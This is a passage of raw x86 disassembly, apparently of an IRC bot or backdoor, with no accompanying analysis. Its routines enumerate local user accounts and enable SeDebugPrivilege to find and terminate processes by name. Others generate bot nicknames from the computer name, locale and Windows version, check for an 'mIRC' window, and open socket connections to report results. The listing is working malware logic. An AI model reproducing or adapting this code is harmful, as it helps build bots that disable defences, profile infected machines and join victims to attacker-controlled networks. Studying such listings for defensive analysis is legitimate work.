push [ebp+arg_10]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
call sub_412BD1
add esp, 20h
loc_413868: ; CODE XREF: sub_4134AF+38Bj
cmp [ebp+var_4], 0
jz short loc_413877
push [ebp+var_4]
call dword_43C5E4
loc_413877: ; CODE XREF: sub_4134AF+40j
; sub_4134AF+3BDj
mov eax, [ebp+arg_0]
pop esi
leave
retn
sub_4134AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41387D proc near ; CODE XREF: sub_40CD3A+2014p
var_218 = byte ptr -218h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 218h
push ebx
push esi
push edi
xor esi, esi
push [ebp+arg_C]
mov [ebp+var_4], esi
call sub_4131E4
push esi
mov [ebp+var_14], eax
push [ebp+arg_8]
mov [ebp+arg_C], esi
mov [ebp+var_18], esi
mov [ebp+var_10], esi
push offset aUsernameAccoun ; "Username accounts for local system:"
mov [ebp+var_8], esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 18h
loc_4138BC: ; CODE XREF: sub_41387D+12Bj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 2
push esi
push [ebp+var_14]
call dword_43C4BC
cmp eax, esi
mov [ebp+var_C], eax
jz short loc_41391D
cmp eax, 0EAh
jz short loc_41391D
push eax
push eax
call sub_4139F3
pop ecx
push eax
lea eax, [ebp+var_218]
push offset dword_43725C
push eax
call sub_415316
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 24h
jmp short loc_41398E
; ---------------------------------------------------------------------------
loc_41391D: ; CODE XREF: sub_41387D+62j
; sub_41387D+69j
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4139A1
xor ebx, ebx
cmp [ebp+arg_C], esi
jbe short loc_41398E
loc_41392B: ; CODE XREF: sub_41387D+E9j
cmp edi, esi
lea eax, [ebp+var_218]
jz short loc_41396A
push dword ptr [edi]
push offset aS_5 ; " %S"
push eax
call sub_415316
push 1
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
add edi, 4
inc [ebp+var_8]
inc ebx
cmp ebx, [ebp+arg_C]
jb short loc_41392B
jmp short loc_41398E
; ---------------------------------------------------------------------------
loc_41396A: ; CODE XREF: sub_41387D+B6j
push offset dword_437214
push eax
call sub_415316
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 1Ch
loc_41398E: ; CODE XREF: sub_41387D+9Ej
; sub_41387D+ACj ...
mov edi, [ebp+var_4]
cmp edi, esi
jz short loc_4139A1
push edi
call dword_43C5E4
xor edi, edi
mov [ebp+var_4], edi
loc_4139A1: ; CODE XREF: sub_41387D+A5j
; sub_41387D+116j
cmp [ebp+var_C], 0EAh
jz loc_4138BC
cmp edi, esi
jz short loc_4139B9
push edi
call dword_43C5E4
loc_4139B9: ; CODE XREF: sub_41387D+133j
push [ebp+var_8]
lea eax, [ebp+var_218]
push offset aTotalUsersFoun ; "Total users found: %d."
push eax
call sub_415316
push esi
lea eax, [ebp+var_218]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 20h
xor eax, eax
cmp [ebp+var_C], esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_41387D endp
; =============== S U B R O U T I N E =======================================
sub_4139F3 proc near ; CODE XREF: sub_413053+41p
; sub_413248+69p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 858h
cmp eax, ecx
ja loc_413AA5
jz loc_413A9E
cmp eax, 7Bh
ja short loc_413A6A
jz short loc_413A60
cmp eax, 5
jz short loc_413A56
cmp eax, 8
jz short loc_413A4C
cmp eax, 32h
jz short loc_413A42
cmp eax, 35h
jz short loc_413A38
cmp eax, 57h
jnz loc_413AF4
push offset aInvalidParamet ; "Invalid parameter."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A38: ; CODE XREF: sub_4139F3+30j
push offset aServerNameNotF ; "Server name not found."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A42: ; CODE XREF: sub_4139F3+2Bj
push offset aThisNetworkReq ; "This network request is not supported."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A4C: ; CODE XREF: sub_4139F3+26j
push offset aNotEnoughMemor ; "Not enough memory."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A56: ; CODE XREF: sub_4139F3+21j
push offset aAccessDenied_ ; "Access denied."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A60: ; CODE XREF: sub_4139F3+1Cj
push offset aTheNameIsInval ; "The name is invalid."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A6A: ; CODE XREF: sub_4139F3+1Aj
sub eax, 7Ch
jz short loc_413A97
sub eax, 7C8h
jz short loc_413A90
dec eax
jz short loc_413A86
dec eax
jnz short loc_413AF4
push offset aDuplicateShare ; "Duplicate share name."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A86: ; CODE XREF: sub_4139F3+84j
push offset aInvalidForRedi ; "Invalid for redirected resource."
jmp loc_413B15
; ---------------------------------------------------------------------------
loc_413A90: ; CODE XREF: sub_4139F3+81j
push offset aDeviceOrDirect ; "Device or directory does not exist."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413A97: ; CODE XREF: sub_4139F3+7Aj
push offset aLevelParameter ; "Level parameter is invalid."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413A9E: ; CODE XREF: sub_4139F3+11j
push offset aAGeneralFailur ; "A general failure occurred in the netwo"...
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AA5: ; CODE XREF: sub_4139F3+Bj
mov ecx, 8C5h
cmp eax, ecx
ja short loc_413ADE
jz short loc_413AD7
sub eax, 8ADh
jz short loc_413B09
dec eax
dec eax
jz short loc_413AD0
dec eax
jz short loc_413AC9
dec eax
dec eax
jnz short loc_413AF4
push offset aTheOperationIs ; "The operation is allowed only on the pr"...
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AC9: ; CODE XREF: sub_4139F3+C9j
push offset aTheUserAccount ; "The user account already exists."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AD0: ; CODE XREF: sub_4139F3+C6j
push offset aTheGroupAlread ; "The group already exists."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AD7: ; CODE XREF: sub_4139F3+BBj
push offset aThePasswordIsS ; "The password is shorter than required ("...
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413ADE: ; CODE XREF: sub_4139F3+B9j
sub eax, 8CAh
jz short loc_413B10
sub eax, 17h
jz short loc_413B09
sub eax, 25h
jz short loc_413B02
sub eax, 29h
jz short loc_413AFB
loc_413AF4: ; CODE XREF: sub_4139F3+35j
; sub_4139F3+87j ...
push offset aAnUnknownErr_0 ; "An unknown error occurred."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413AFB: ; CODE XREF: sub_4139F3+FFj
push offset aTheComputerNam ; "The computer name is invalid."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413B02: ; CODE XREF: sub_4139F3+FAj
push offset aShareNotFound_ ; "Share not found."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413B09: ; CODE XREF: sub_4139F3+C2j
; sub_4139F3+F5j
push offset aTheUserNameCou ; "The user name could not be found."
jmp short loc_413B15
; ---------------------------------------------------------------------------
loc_413B10: ; CODE XREF: sub_4139F3+F0j
push offset aNetworkConnect ; "Network connection not found."
loc_413B15: ; CODE XREF: sub_4139F3+40j
; sub_4139F3+4Aj ...
push offset dword_46ADA0
call sub_415316
pop ecx
mov eax, offset dword_46ADA0
pop ecx
retn
sub_4139F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413B27 proc near ; CODE XREF: sub_40CD3A+2059p
var_718 = byte ptr -718h
var_318 = byte ptr -318h
var_108 = byte ptr -108h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 718h
push esi
push 200h
push [ebp+arg_0]
lea eax, [ebp+var_718]
push eax
call sub_417A19
add esp, 0Ch
lea eax, [ebp+arg_0]
mov esi, 108h
push eax
lea eax, [ebp+var_108]
push eax
mov [ebp+arg_0], esi
call dword_42113C ; GetComputerNameA
lea eax, [ebp+var_108]
push esi
push eax
lea eax, [ebp+var_318]
push eax
call sub_417A19
lea eax, [ebp+var_718]
push eax
call sub_4179FC
add esp, 10h
add eax, eax
push eax
lea eax, [ebp+var_718]
push eax
lea eax, [ebp+var_318]
push 0
push eax
push 0
call dword_43C564
test eax, eax
jnz short loc_413BB7
mov esi, offset dword_46AB98
push offset dword_4375BC
push esi
call sub_415316
pop ecx
pop ecx
jmp short loc_413BE0
; ---------------------------------------------------------------------------
loc_413BB7: ; CODE XREF: sub_413B27+7Aj
lea ecx, [ebp+var_718]
push ecx
lea ecx, [ebp+var_318]
push ecx
push eax
call sub_4139F3
pop ecx
mov esi, offset dword_46AB98
push eax
push offset dword_437580
push esi
call sub_415316
add esp, 14h
loc_413BE0: ; CODE XREF: sub_413B27+8Ej
mov eax, esi
pop esi
leave
retn
sub_413B27 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413BE5 proc near ; CODE XREF: sub_409D12+7p
; sub_413C50+53p ...
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 14h
lea eax, [ebp+var_4]
push eax
push 28h
call dword_421104 ; GetCurrentProcess
push eax
call dword_43C538
test eax, eax
jnz short loc_413C04
leave
retn
; ---------------------------------------------------------------------------
loc_413C04: ; CODE XREF: sub_413BE5+1Bj
lea eax, [ebp+var_10]
push esi
push eax
xor esi, esi
push [ebp+arg_0]
push esi
call dword_43C510
test eax, eax
jz short loc_413C42
cmp [ebp+arg_4], esi
mov [ebp+var_14], 1
jz short loc_413C2B
or [ebp+var_8], 2
jmp short loc_413C2F
; ---------------------------------------------------------------------------
loc_413C2B: ; CODE XREF: sub_413BE5+3Ej
and [ebp+var_8], 0FFFFFFFDh
loc_413C2F: ; CODE XREF: sub_413BE5+44j
push esi
push esi
lea eax, [ebp+var_14]
push esi
push eax
push esi
push [ebp+var_4]
call dword_43C5C0
mov esi, eax
loc_413C42: ; CODE XREF: sub_413BE5+32j
push [ebp+var_4]
call dword_42106C ; CloseHandle
mov eax, esi
pop esi
leave
retn
sub_413BE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413C50 proc near ; CODE XREF: sub_40CD3A+478Ep
; sub_413DFD+74p
var_550 = byte ptr -550h
var_350 = dword ptr -350h
var_34C = byte ptr -34Ch
var_230 = byte ptr -230h
var_12C = dword ptr -12Ch
var_128 = byte ptr -128h
var_124 = dword ptr -124h
var_108 = byte ptr -108h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 550h
push ebx
push esi
push edi
push 49h
xor ebx, ebx
pop ecx
xor eax, eax
cmp dword_43C574, ebx
lea edi, [ebp+var_128]
mov [ebp+var_12C], ebx
rep stosd
mov ecx, 88h
lea edi, [ebp+var_34C]
mov [ebp+var_350], ebx
rep stosd
jz short loc_413CF5
cmp dword_43C558, ebx
jz short loc_413CF5
cmp dword_43C474, ebx
jz short loc_413CF5
push 1
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413BE5
pop ecx
pop ecx
push ebx
push 0Fh
call dword_43C574
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jz short loc_413CE8
lea eax, [ebp+var_12C]
mov [ebp+var_12C], 128h
push eax
push [ebp+var_4]
call dword_43C558
mov esi, dword_42106C
test eax, eax
jnz loc_413DAB
loc_413CE3: ; CODE XREF: sub_413C50+173j
push [ebp+var_4]
call esi ; CloseHandle
loc_413CE8: ; CODE XREF: sub_413C50+69j
push ebx
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_413BE5
pop ecx
pop ecx
loc_413CF5: ; CODE XREF: sub_413C50+3Aj
; sub_413C50+42j ...
xor eax, eax
loc_413CF7: ; CODE XREF: sub_413C50+1A8j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_413CFC: ; CODE XREF: sub_413C50+16Dj
cmp [ebp+arg_10], ebx
jnz loc_413DAB
cmp [ebp+arg_C], ebx
jnz loc_413D96
cmp [ebp+arg_4], ebx
jz loc_413DAB
push [ebp+var_124]
push 8
call dword_43C574
cmp [ebp+arg_14], ebx
mov edi, eax
mov [ebp+var_350], 224h
jz short loc_413D56
lea eax, [ebp+var_350]
push eax
push edi
call dword_43C420
push [ebp+var_124]
test eax, eax
jz short loc_413D5C
lea eax, [ebp+var_230]
jmp short loc_413D62
; ---------------------------------------------------------------------------
loc_413D56: ; CODE XREF: sub_413C50+E4j
push [ebp+var_124]
loc_413D5C: ; CODE XREF: sub_413C50+FCj
lea eax, [ebp+var_108]
loc_413D62: ; CODE XREF: sub_413C50+104j
push eax
lea eax, [ebp+var_550]
push offset aSD_0 ; " %s (%d)"
push eax
call sub_415316
add esp, 10h
lea eax, [ebp+var_550]
push 1
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 14h
push edi
call esi ; CloseHandle
jmp short loc_413DAB
; ---------------------------------------------------------------------------
loc_413D96: ; CODE XREF: sub_413C50+B8j
push [ebp+arg_C]
lea eax, [ebp+var_108]
push eax
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_413DC8
loc_413DAB: ; CODE XREF: sub_413C50+8Dj
; sub_413C50+AFj ...
lea eax, [ebp+var_12C]
push eax
push [ebp+var_4]
call dword_43C474
test eax, eax
jnz loc_413CFC
jmp loc_413CE3
; ---------------------------------------------------------------------------
loc_413DC8: ; CODE XREF: sub_413C50+159j
push [ebp+var_124]
push ebx
push 1F0FFFh
call dword_42111C ; OpenProcess
push [ebp+var_4]
mov edi, eax
call esi ; CloseHandle
push ebx
push edi
call dword_421140 ; TerminateProcess
test eax, eax
jnz short loc_413DF5
push edi
call esi ; CloseHandle
jmp loc_413CF5
; ---------------------------------------------------------------------------
loc_413DF5: ; CODE XREF: sub_413C50+19Bj
xor eax, eax
inc eax
jmp loc_413CF7
sub_413C50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413DFD proc near ; DATA XREF: sub_40CD3A+5343o
var_298 = byte ptr -298h
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 298h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
push offset dword_43768C
rep movsd
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_298]
push eax
call sub_415316
xor esi, esi
pop ecx
cmp [ebp+var_8], esi
pop ecx
jnz short loc_413E5C
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412BD1
add esp, 14h
loc_413E5C: ; CODE XREF: sub_413DFD+3Dj
push [ebp+var_10]
lea eax, [ebp+var_94]
push esi
push esi
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_413C50
add esp, 18h
test eax, eax
lea eax, [ebp+var_298]
jnz short loc_413E8A
push offset dword_437650
jmp short loc_413E8F
; ---------------------------------------------------------------------------
loc_413E8A: ; CODE XREF: sub_413DFD+84j
push offset dword_437618
loc_413E8F: ; CODE XREF: sub_413DFD+8Bj
push eax
call sub_415316
cmp [ebp+var_8], esi
pop ecx
pop ecx
jnz short loc_413EBC
push esi
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
lea eax, [ebp+var_94]
push eax
push [ebp+var_98]
call sub_412BD1
add esp, 14h
loc_413EBC: ; CODE XREF: sub_413DFD+9Dj
lea eax, [ebp+var_298]
push eax
call sub_40B078
push [ebp+var_14]
call sub_4150F0
pop ecx
pop ecx
push esi
call dword_421048 ; ExitThread
pop edi
pop esi
sub_413DFD endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413EDB proc near ; CODE XREF: sub_40CD3A+4730p
; sub_414F15+4Dp
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
xor edi, edi
inc edi
push 0
push 1F0FFFh
call dword_42111C ; OpenProcess
mov esi, eax
test esi, esi
jz short loc_413F0D
push 0
push esi
call dword_421140 ; TerminateProcess
test eax, eax
jnz short loc_413F0D
push esi
xor edi, edi
call dword_42106C ; CloseHandle
loc_413F0D: ; CODE XREF: sub_413EDB+1Aj
; sub_413EDB+27j
mov eax, edi
pop edi
pop esi
retn
sub_413EDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F12 proc near ; CODE XREF: sub_4036BB+Ap
; sub_403C74+16p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
call sub_415372
mov esi, [ebp+arg_0]
mov [ebp+var_4], eax
mov eax, [ebp+arg_4]
fild [ebp+var_4]
sub eax, esi
mov [ebp+arg_4], eax
fimul [ebp+arg_4]
fmul dbl_421668
call sub_415E24
sub esi, eax
mov eax, esi
pop esi
leave
retn
sub_413F12 endp
; =============== S U B R O U T I N E =======================================
sub_413F42 proc near ; CODE XREF: sub_414278+4Ap
; DATA XREF: seg001:off_4376D8o
var_C = dword ptr -0Ch
arg_0 = dword ptr 4
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415368
mov edi, [esp+0Ch+arg_0]
mov [esp+0Ch+var_C], offset dword_42C2E8
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 10h
cmp dword_42C264, esi
jle short loc_413F9B
loc_413F75: ; CODE XREF: sub_413F42+57j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43772C
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C264
jl short loc_413F75
loc_413F9B: ; CODE XREF: sub_413F42+31j
mov eax, edi
pop edi
pop esi
retn
sub_413F42 endp
; =============== S U B R O U T I N E =======================================
sub_413FA0 proc near ; CODE XREF: sub_40CD3A+3CBAp
arg_0 = dword ptr 4
push ebx
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
call sub_415372
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_42C264
test esi, esi
jle short loc_413FE3
loc_413FCD: ; CODE XREF: sub_413FA0+41j
call sub_415372
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_413FCD
loc_413FE3: ; CODE XREF: sub_413FA0+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_413FA0 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push esi
push edi
mov dword ptr [ebp-4], 100h
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
lea eax, [ebp-4]
mov esi, offset dword_437734
push eax
push esi
call dword_42113C ; GetComputerNameA
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 0Ch
cmp dword_42C264, esi
jle short loc_414056
loc_414030: ; CODE XREF: seg001:00414054j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43772C
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C264
jl short loc_414030
loc_414056: ; CODE XREF: seg001:0041402Ej
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
call dword_42104C ; GetTickCount
push eax
call sub_415368
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
call dword_421144 ; GetLocaleInfoA
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_437738
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 10h
cmp dword_42C264, esi
jle short loc_4140CB
loc_4140A5: ; CODE XREF: seg001:004140C9j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43772C
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C264
jl short loc_4140A5
loc_4140CB: ; CODE XREF: seg001:004140A3j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset byte_43B188
mov dword ptr [ebp-94h], 94h
call dword_42110C ; GetVersionExA
call dword_42104C ; GetTickCount
push eax
call sub_415368
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_414155
cmp dword ptr [ebp-8Ch], 0
jnz short loc_414135
cmp dword ptr [ebp-84h], 1
jnz short loc_414125
mov esi, offset a95 ; "95"
loc_414125: ; CODE XREF: seg001:0041411Ej
cmp dword ptr [ebp-84h], 2
jnz short loc_414191
mov esi, offset aNt ; "NT"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_414135: ; CODE XREF: seg001:00414115j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_414145
mov esi, offset a98 ; "98"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_414145: ; CODE XREF: seg001:0041413Cj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_41418C
mov esi, offset aMe ; "ME"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_414155: ; CODE XREF: seg001:0041410Cj
cmp dword ptr [ebp-90h], 5
jnz short loc_41418C
cmp dword ptr [ebp-8Ch], 0
jnz short loc_41416E
mov esi, offset a2k ; "2K"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_41416E: ; CODE XREF: seg001:00414165j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_41417E
mov esi, offset aXp ; "XP"
jmp short loc_414191
; ---------------------------------------------------------------------------
loc_41417E: ; CODE XREF: seg001:00414175j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_437744
jz short loc_414191
loc_41418C: ; CODE XREF: seg001:0041414Cj
; seg001:0041415Cj
mov esi, offset dword_42B870
loc_414191: ; CODE XREF: seg001:0041412Cj
; seg001:00414133j ...
mov edi, [ebp+8]
push esi
push offset dword_43773C
push 1Ch
push edi
call sub_41588A
xor esi, esi
add esp, 10h
cmp dword_42C264, esi
jle short loc_4141D5
loc_4141AF: ; CODE XREF: seg001:004141D3j
call sub_415372
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_43772C
push 1Ch
push edi
call sub_41588A
add esp, 14h
inc esi
cmp esi, dword_42C264
jl short loc_4141AF
loc_4141D5: ; CODE XREF: seg001:004141ADj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4141DB proc near ; CODE XREF: sub_414278+5Dp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc ; "mIRC"
mov esi, eax
call dword_43C560
cmp esi, 64h
jbe short loc_41422A
test eax, eax
mov eax, offset dword_437750
jnz short loc_414213
mov eax, offset byte_43B188
loc_414213: ; CODE XREF: sub_4141DB+31j
push eax
push esi
push offset dword_437748
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41588A
add esp, 14h
jmp short loc_414244
; ---------------------------------------------------------------------------
loc_41422A: ; CODE XREF: sub_4141DB+28j
test eax, eax
mov eax, offset dword_437750
jnz short loc_414238
mov eax, offset byte_43B188
loc_414238: ; CODE XREF: sub_4141DB+56j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_415316
pop ecx
pop ecx
loc_414244: ; CODE XREF: sub_4141DB+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_415B10
pop ecx
cmp eax, 2
pop esi
jbe short loc_414273
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_416DB0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_416BE0
add esp, 18h
loc_414273: ; CODE XREF: sub_4141DB+77j
mov eax, [ebp+arg_0]
leave
retn
sub_4141DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414278 proc near ; CODE XREF: sub_40CA58+7Fp
; sub_40CBBE+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
xor esi, esi
loc_414281: ; CODE XREF: sub_414278+40j
cmp [ebp+arg_C], 0
jz short loc_41429F
lea eax, dword_4376C8[esi]
push eax
push [ebp+arg_C]
call sub_415730
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_4142AD
; ---------------------------------------------------------------------------
loc_41429F: ; CODE XREF: sub_414278+Dj
mov ecx, dword_4376D4[esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_4142AD: ; CODE XREF: sub_414278+25j
test eax, eax
jnz short loc_4142BC
add esi, 14h
inc edi
cmp esi, 64h
jb short loc_414281
jmp short loc_4142CA
; ---------------------------------------------------------------------------
loc_4142BC: ; CODE XREF: sub_414278+37j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_4376D8[eax*4]
pop ecx
loc_4142CA: ; CODE XREF: sub_414278+42j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_4142DD
push [ebp+arg_0]
call sub_4141DB
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_4142DD: ; CODE XREF: sub_414278+58j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_414278 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4142E2 proc near ; DATA XREF: sub_4143AF+7Bo
var_B8 = dword ptr -0B8h
var_B4 = byte ptr -0B4h
var_34 = dword ptr -34h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_20 = dword ptr -20h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0B8h
mov eax, [ebp+arg_0]
push esi
push edi
push 2Ah
pop ecx
mov esi, eax
lea edi, [ebp+var_B8]
push 10h
rep movsd
xor esi, esi
push 0
inc esi
mov [eax+0A4h], esi
lea eax, [ebp+var_10]
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_34]
call dword_43C554
mov [ebp+var_E], ax
mov eax, [ebp+var_28]
push 6
push esi
push 2
mov [ebp+var_C], eax
call dword_43C5D4
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4143A0
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43C4FC
mov ecx, [ebp+var_2C]
imul ecx, 234h
cmp eax, 0FFFFFFFFh
mov dword_4416D4[ecx], esi
jz short loc_4143A0
push [ebp+var_34]
push [ebp+var_28]
call dword_43C5E0
push eax
mov edi, offset dword_46B408
push offset unk_437754
push edi
call sub_415316
push 0
lea eax, [ebp+var_B4]
push [ebp+var_20]
push edi
push eax
push [ebp+var_B8]
call sub_412BD1
push edi
call sub_40B078
add esp, 28h
loc_4143A0: ; CODE XREF: sub_4142E2+5Dj
; sub_4142E2+7Ej
push esi
call dword_43C5EC
pop edi
xor eax, eax
pop esi
leave
retn 4
sub_4142E2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4143AF proc near ; DATA XREF: sub_40CD3A+3410o
var_130 = byte ptr -130h
var_B0 = byte ptr -0B0h
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 130h
push ebx
mov ebx, [ebp+arg_0]
push esi
push edi
push 2Ah
mov esi, ebx
pop ecx
lea edi, [ebp+var_B0]
rep movsd
mov esi, dword_421060
mov dword ptr [ebx+0A0h], 1
xor edi, edi
loc_4143DD: ; CODE XREF: sub_4143AF+ECj
push [ebp+var_2C]
push [ebp+var_20]
call dword_43C5E0
push eax
lea eax, [ebp+var_130]
push offset unk_437790
push eax
call sub_415316
lea eax, [ebp+var_130]
push 1FFh
push eax
mov eax, [ebp+var_24]
imul eax, 234h
add eax, offset dword_4414C8
push eax
call sub_416BE0
add esp, 1Ch
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_B0]
push edi
push eax
